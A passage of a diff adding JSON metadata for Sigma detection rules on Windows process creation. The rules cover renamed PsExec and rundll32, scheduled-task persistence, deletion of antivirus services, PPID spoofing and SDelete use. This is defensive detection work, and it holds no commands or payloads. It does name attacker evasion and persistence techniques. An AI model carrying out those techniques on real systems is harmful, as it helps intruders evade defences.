"https://docs.microsoft.com/en-us/sysinternals/downloads/procdump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67", + "value": "Renamed ProcDump" + }, + { + "description": "Detects the execution of a renamed PsExec often used by attackers or malware", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/05/21", + "falsepositive": [ + "Software that illegaly integrates PsExec in a renamed form", + "Administrators that have renamed PsExec and no one knows why" + ], + "filename": "proc_creation_win_renamed_psexec.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_psexec.yml" + ], + "tags": [ + "car.2013-05-009", + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2", + "value": "Renamed PsExec" + }, + { + "description": "Detects the execution of rundll32.exe that has been renamed to a different name to avoid detection", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_rundll32.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32.yml" + ], + "tags": "No established tags" + }, + "uuid": "d4d2574f-ac17-4d9e-b986-aeeae0dc8fe2", + "value": "Renamed Rundll32.exe Execution" + }, + { + "description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/22", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_renamed_rundll32_dllregisterserver.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "2569ed8c-1147-498a-9b8c-2ad3656b10ed", + "value": "DllRegisterServer Call From Non Rundll32" + }, + { + "description": "Detects execution of renamed Remote Utilities (RURAT) via Product PE header field", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_rurat.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.collection", + "attack.command_and_control", + "attack.discovery", + "attack.s0592" + ] + }, + "uuid": "9ef27c24-4903-4192-881a-3adde7ff92a5", + "value": "Execution of Renamed Remote Utilities RAT (RURAT)" + }, + { + "description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/06", + "falsepositive": [ + "System administrator usage" + ], + "filename": "proc_creation_win_renamed_sdelete.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "c1d867fe-8d95-4487-aab4-e53f2d339f90", + "value": "Renamed Sysinternals Sdelete Usage" + }, + { + "description": "Detects renamed vmnat.exe or portable version that can be used for DLL side-loading", + "meta": { + "author": "elhoim", + "creation_date": "2022/09/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_vmnat.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/malmoeb/status/1525901219247845376", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "7b4f794b-590a-4ad4-ba18-7964a2832205", + "value": "Renamed or Portable Vmnat.exe" + }, + { + "description": "Detects the execution of whoami that has been renamed to a different name to avoid detection", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_renamed_whoami.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ] + }, + "uuid": "f1086bf7-a0c4-4a37-9102-01e573caf4a0", + "value": "Renamed Whoami Execution" + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "meta": { + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "creation_date": "2020/10/10", + "falsepositive": [ + "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" + ], + "filename": "proc_creation_win_root_certificate_installed.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_root_certificate_installed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ] + }, + "uuid": "46591fae-7a4c-46ea-aec3-dff5e6d785dc", + "value": "Root Certificate Installed" + }, + { + "description": "Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/13", + "falsepositive": [ + "Unknown", + "Some cases in which the service spawned a werfault.exe process" + ], + "filename": "proc_creation_win_rpcss_anomalies.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809", + "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html", + "https://twitter.com/cyb3rops/status/1514217991034097664", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcss_anomalies.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "a7cd7306-df8b-4398-b711-6f3e4935cf16", + "value": "Remote Procedure Call Service Anomaly" + }, + { + "description": "Detects rundll32.exe executing from an abnormal drive such as a mounted ISO.", + "meta": { + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "creation_date": "2022/01/25", + "falsepositive": [ + "Rare false positives could occur on servers with multiple drives." + ], + "filename": "proc_creation_win_rundll32_not_from_c_drive.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_not_from_c_drive.yml" + ], + "tags": [ + "attack.t1218.001" + ] + }, + "uuid": "d4ca7c59-e9e4-42d8-bf57-91a776efcb87", + "value": "Rundll32 From Abnormal Drive" + }, + { + "description": "Detects suspicious start of rundll32.exe with a parent process of Explorer.exe. Variant of Raspberry Robin, as first reported by Red Canary.", + "meta": { + "author": "CD_ROM_", + "creation_date": "2022/05/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_rundll32_parent_explorer.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "1723e720-616d-4ddc-ab02-f7e3685a4713", + "value": "Rundll32 With Suspicious Parent Process" + }, + { + "description": "load malicious registered COM objects", + "meta": { + "author": "frack113", + "creation_date": "2022/02/13", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_rundll32_registered_com_objects.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.015" + ] + }, + "uuid": "f1edd233-30b5-4823-9e6a-c4171b24d316", + "value": "Rundll32 Registered COM Objects" + }, + { + "description": "Detects rundll32 execution where the DLL is located on a remote location (share)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/10", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_rundll32_unc_path.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1021.002", + "attack.t1218.011" + ] + }, + "uuid": "5cdb711b-5740-4fb2-ba88-f7945027afac", + "value": "Rundll32 UNC Path Execution" + }, + { + "description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module", + "meta": { + "author": "Bartlomiej Czyz, Relativity", + "creation_date": "2021/01/31", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_rundll32_without_parameters.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://bczyz1.github.io/2021/01/30/psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1570", + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "5bb68627-3198-40ca-b458-49f973db8752", + "value": "Rundll32 Without Parameters" + }, + { + "description": "Detects the execution of rundll32 with a command line that doesn't contain a .dll file", + "meta": { + "author": "Tim Shelton, Florian Roth, Yassine Oukessou (fix + fp)", + "creation_date": "2022/01/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_run_executable_invalid_extension.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1481630810495139841?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_executable_invalid_extension.yml" + ], + "tags": "No established tags" + }, + "uuid": "c3a99af4-35a9-4668-879e-c09aeb4f2bdf", + "value": "Rundll32 Execution Without DLL File" + }, + { + "description": "Payloads may be compressed, archived, or encrypted in order to avoid detection", + "meta": { + "author": "frack113", + "creation_date": "2021/12/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_run_from_zip.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_from_zip.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "1a70042a-6622-4a2b-8958-267625349abf", + "value": "Run from a Zip File" + }, + { + "description": "Detects PowerShell script execution from Alternate Data Stream (ADS)", + "meta": { + "author": "Sergey Soldatov, Kaspersky Lab, oscd.community", + "creation_date": "2019/10/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_run_powershell_script_from_ads.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "45a594aa-1fbd-4972-a809-ff5a99dd81b8", + "value": "Run PowerShell Script from ADS" + }, + { + "description": "Detects PowerShell script execution via input stream redirect", + "meta": { + "author": "Moriarty Meng (idea), Anton Kutepov (rule), oscd.community", + "creation_date": "2020/10/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_run_powershell_script_from_input_stream.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml", + "https://twitter.com/Moriarty_Meng/status/984380793383370752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_input_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "c83bf4b5-cdf0-437c-90fa-43d734f7c476", + "value": "Run PowerShell Script from Redirected Input Stream" + }, + { + "description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.", + "meta": { + "author": "Janantha Marasinghe", + "creation_date": "2020/09/26", + "falsepositive": [ + "This may have false positives on hosts where Virtualbox is legitimately being used for operations" + ], + "filename": "proc_creation_win_run_virtualbox.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1564/006/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_virtualbox.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.006", + "attack.t1564" + ] + }, + "uuid": "bab049ca-7471-4828-9024-38279a4c04da", + "value": "Detect Virtualbox Driver Installation OR Starting Of VMs" + }, + { + "description": "Detects the creation of a schtask that executes a file from C:\\Users\\\\AppData\\Local", + "meta": { + "author": "pH-T, Nasreddine Bencherchali", + "creation_date": "2022/03/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_schtasks_appdata_local_system.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ] + }, + "uuid": "c5c00f49-b3f9-45a6-997e-cfdecc6e1967", + "value": "Suspicious Schtasks Execution AppData Folder" + }, + { + "description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00", + "meta": { + "author": "pH-T", + "creation_date": "2022/07/15", + "falsepositive": [ + "Software installation" + ], + "filename": "proc_creation_win_schtasks_once_0000.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_once_0000.yml" + ], + "tags": "No established tags" + }, + "uuid": "970823b7-273b-460a-8afc-3a6811998529", + "value": "Uncommon Scheduled Task Once 00:00" + }, + { + "description": "Detects suspicious powershell execution that ends with a common flag instead of a command or a filename to execute (could be a sign of implicit execution that uses files in WindowsApps directory)", + "meta": { + "author": "pH-T, Florian Roth", + "creation_date": "2022/04/08", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_schtasks_powershell_windowsapps_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_windowsapps_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ] + }, + "uuid": "b66474aa-bd92-4333-a16c-298155b120df", + "value": "Suspicious Powershell No File or Command" + }, + { + "description": "Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.", + "meta": { + "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", + "creation_date": "2022/02/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_schtasks_reg_loader.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ] + }, + "uuid": "c4eeeeae-89f4-43a7-8b48-8d1bdfa66c78", + "value": "Scheduled Task Executing Powershell Encoded Payload from Registry" + }, + { + "description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_schtasks_system.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005" + ] + }, + "uuid": "89ca78fd-b37c-4310-b3d3-81a023f83936", + "value": "Schtasks Creation Or Modification With SYSTEM Privileges" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/13", + "falsepositive": [ + "Legitimate usage of the tool" + ], + "filename": "proc_creation_win_screenconnect.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "57bff678-25d1-4d6c-8211-8ca106d12053", + "value": "Use of ScreenConnect Remote Access Software" + }, + { + "description": "Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/25", + "falsepositive": [ + "Case in which administrators are allowed to use ScreenConnect's Backstage mode" + ], + "filename": "proc_creation_win_screenconnect_anomaly.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect_anomaly.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "7b582f1a-b318-4c6a-bf4e-66fe49bf55a5", + "value": "ScreenConnect Backstage Mode Anomaly" + }, + { + "description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).", + "meta": { + "author": "Sittikorn S", + "creation_date": "2021/06/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_script_event_consumer_spawn.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_script_event_consumer_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "f6d1dd2f-b8ce-40ca-bc23-062efb686b34", + "value": "Script Event Consumer Spawning Process" + }, + { + "description": "Detects when attackers use \"sc.exe\" to delete AV services from the system in order to avoid detection", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Legitimate software deleting using the same method of deletion (Add it to a filter if you find cases as such)" + ], + "filename": "proc_creation_win_sc_delete_av_services.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_delete_av_services.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "7fd4bb39-12d0-45ab-bb36-cebabc73dc7b", + "value": "Suspicious Execution of Sc to Delete AV Services" + }, + { + "description": "Detects execution of \"sc.exe\" to query information about registered services on the system", + "meta": { + "author": "frack113", + "creation_date": "2021/12/06", + "falsepositive": [ + "Legitimate query of a service by an administrator to get more information such as the state or PID" + ], + "filename": "proc_creation_win_sc_query.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1007" + ] + }, + "uuid": "57712d7a-679c-4a41-a913-87e7175ae429", + "value": "SC.EXE Query Execution" + }, + { + "description": "Detects installation of a new shim using sdbinst.exe. A shim can be used to load malicious DLLs into applications.", + "meta": { + "author": "Markus Neis", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sdbinst_shim_persistence.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.011" + ] + }, + "uuid": "517490a7-115a-48c6-8862-1a481504d5a8", + "value": "Possible Shim Database Persistence via sdbinst.exe" + }, + { + "description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sdclt_child_process.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/6", + "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "da2738f2-fadb-4394-afa7-0a0674885afa", + "value": "Sdclt Child Processes" + }, + { + "description": "Detects the use of SDelete to erase a file not the free space", + "meta": { + "author": "frack113", + "creation_date": "2021/06/03", + "falsepositive": [ + "System administrator usage" + ], + "filename": "proc_creation_win_sdelete.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "a4824fca-976f-4964-b334-0621379e84c4", + "value": "Sysinternals SDelete Delete File" + }, + { + "description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)", + "meta": { + "author": "Nextron Systems", + "creation_date": "2022/06/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sdiagnhost_susp_child.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", + "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1218" + ] + }, + "uuid": "f3d39c45-de1a-4486-a687-ab126124f744", + "value": "Sdiagnhost Calling Suspicious Child Process" + }, + { + "description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/23", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_selectmyparent.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", + "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", + "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", + "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_selectmyparent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1134.004" + ] + }, + "uuid": "52ff7941-8211-46f9-84f8-9903efb7077d", + "value": "PPID Spoofing Tool Usage" + }, + { + "description": "Detects manual service execution (start) via system utilities.", + "meta": { + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Legitimate administrator or user executes a service for legitimate reasons." + ], + "filename": "proc_creation_win_service_execution.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ] + }, + "uuid": "2a072a96-a086-49fa-bcb5-15cc5a619093", + "value": "Service Execution" + }, + { + "description": "Detects a windows service to be stopped", + "meta": { + "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", + "creation_date": "2019/10/23", + "falsepositive": [ + "Administrator shutting down the service due to upgrade or removal purposes" + ], + "filename": "proc_creation_win_service_stop.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_stop.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ] + }, + "uuid": "eb87818d-db5d-49cc-a987-d5da331fbd90", + "value": "Stop Windows Service" + }, + { + "description": "Detects use of executionpolicy option to set insecure policies", + "meta": { + "author": "frack113", + "creation_date": "2021/11/01", + "falsepositive": [ + "Administrator script" + ], + "filename": "proc_creation_win_set_policies_to_unsecure_level.yml", + "level": "medium", + "logsource.category": "process_creation", 